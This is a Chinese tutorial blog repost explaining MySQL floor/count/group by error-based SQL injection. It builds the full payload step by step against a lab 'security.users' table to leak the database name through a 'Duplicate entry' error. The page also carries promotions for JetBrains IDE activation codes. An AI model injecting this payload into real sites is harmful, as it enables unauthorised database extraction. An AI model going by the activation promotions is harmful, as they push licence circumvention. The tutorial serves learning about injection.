floor报错注入原理_sql报错注入

floor报错注入原理_sql报错注入floor()报错注入准确地说应该是floor,count,groupby冲突报错是当这三个函数在特定情况一起使用产生的错误。首先看经典的floor注入语句:andselect1from(selectcount(*),concat(database(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)第一眼看…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

floor()报错注入准确地说应该是floor,count,group by冲突报错

是当这三个函数在特定情况一起使用产生的错误。

首先看经典的floor注入语句:

and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

第一眼看起来有些懵逼,我们来从最基本的入手,最后在分析这个语句

首先是floor()报错产生的条件:

select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)

这里解释一下x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),这样做的目的是

让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释),

具体原理这里不再分析,最后会附上几个原理解释链接。

先看直接执行效果:

floor报错注入原理_sql报错注入

这里报的Duplocate entry错误就是我们想要的,报错的位置是在floor(rand(0)*2),关于那个 1 是由报错原理决定的,毕竟我们还没有写入任何我们想要的子查询,关于1出现的原因具体可以研究下原理。

下一步我们在报错位置处加上我们想要的子查询,用concat()拼接:

select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x

floor报错注入原理_sql报错注入

security就是我们想要的数据库名,1是上一步拼接的。

但现在是不是就可以直接使用了呢?还有几个步骤,先看直接拼接到and 后会怎样:

select * from security.users where id=1 and (select count(*) ,concat(database(),floor(rand(0)*2)x) from security.users group by x)

floor报错注入原理_sql报错注入

报了一个错,百度一番发现引发这个错误的原因很多,这里我是觉得我们构建的select语句的结果是一个结果表,而and 需要一个布尔值,也就是0或非零的值,那我们在嵌套一个查询,前面说了select 的结果是一个结果表,那我们就可再从这个表执行查询,这不过这次select的值是非零数字:

select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a

再啰嗦一句,最后这个a和之前解释的x的作用是一样的,是前面括号内容的别名,

sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。

嵌套进and后执行

select * from security.users where id=1 and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)

floor报错注入原理_sql报错注入

大功告成

我们完成了刚开始引入的floo()注入语句

 

几个fool()原理解释:

https://www.cnblogs.com/xdans/p/5412468.html

https://www.cnblogs.com/litlife/p/8472323.html

http://www.cnblogs.com/xishaonian/p/6227405.html

 转载指明出处

文章同步到我的博客:http://119.23.249.120/archives/276

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/188412.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • http.sys的简单应用

    http.sys的简单应用//publicvoidRun()//{////httpListener提供一个简单,可通过编程方式控制的Http协议侦听器。此类不能被继承。//if(!HttpListener.Is

  • sqlserver临时表详解_怎么把临时表的数据更新到正式表

    sqlserver临时表详解_怎么把临时表的数据更新到正式表[转自]http://zhengweisincere.blog.163.com/blog/static/498446492009625749522/在SQLServer的性能调优中,有一个不可比面的问题:那就是如何在一段需要长时间的代码或被频繁调用的代码中处理临时数据集?表变量和临时表是两种选择。记得在给一家国内首屈一指的海运公司作SQLServer应用性能评估和调优的时候就看到过

  • shell脚本–sed的用法[通俗易懂]

    shell脚本–sed的用法[通俗易懂]sed在处理文本时是逐行读取文件内容,读到匹配的行就根据指令做操作,不匹配就跳过。sed是Linux下一款功能强大的非交互流式文本编辑器,可以对文本文件进行增、删、改、查等操作,支持按行、按字段、按正则匹配文本内容,灵活方便,特别适合于大文件的编辑。本文主要介绍sed的一些基本用法,并通过shell脚本演示sed的使用实例。1.sed的使用方法,调用sed命令的语法有两种:一.在命令…

  • PrepareCommand执行参数查询

    PrepareCommand执行参数查询//////执行参数查询//////数据库执行命令///数据库链接命令///事务///查询语句///查询参数///privatestaticvoidPrepareCommand

  • javacomparator_mybatis是做什么的

    javacomparator_mybatis是做什么的Myabatis-Plus集成异常下面贴出错误信息:java.lang.NoSuchMethodError:com.baomidou.mybatisplus.core.toolkit.StringUtils.isNotBlank(Ljava/lang/CharSequence;)Z11:29:34.886[main]DEBUGorg.springframework.boot.context.logging.ClasspathLoggingApplicationListener-Appli

  • vagrant系列四:vagrant搭建redis与redis的监控程序redis-stat「建议收藏」

    vagrant系列四:vagrant搭建redis与redis的监控程序redis-stat

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号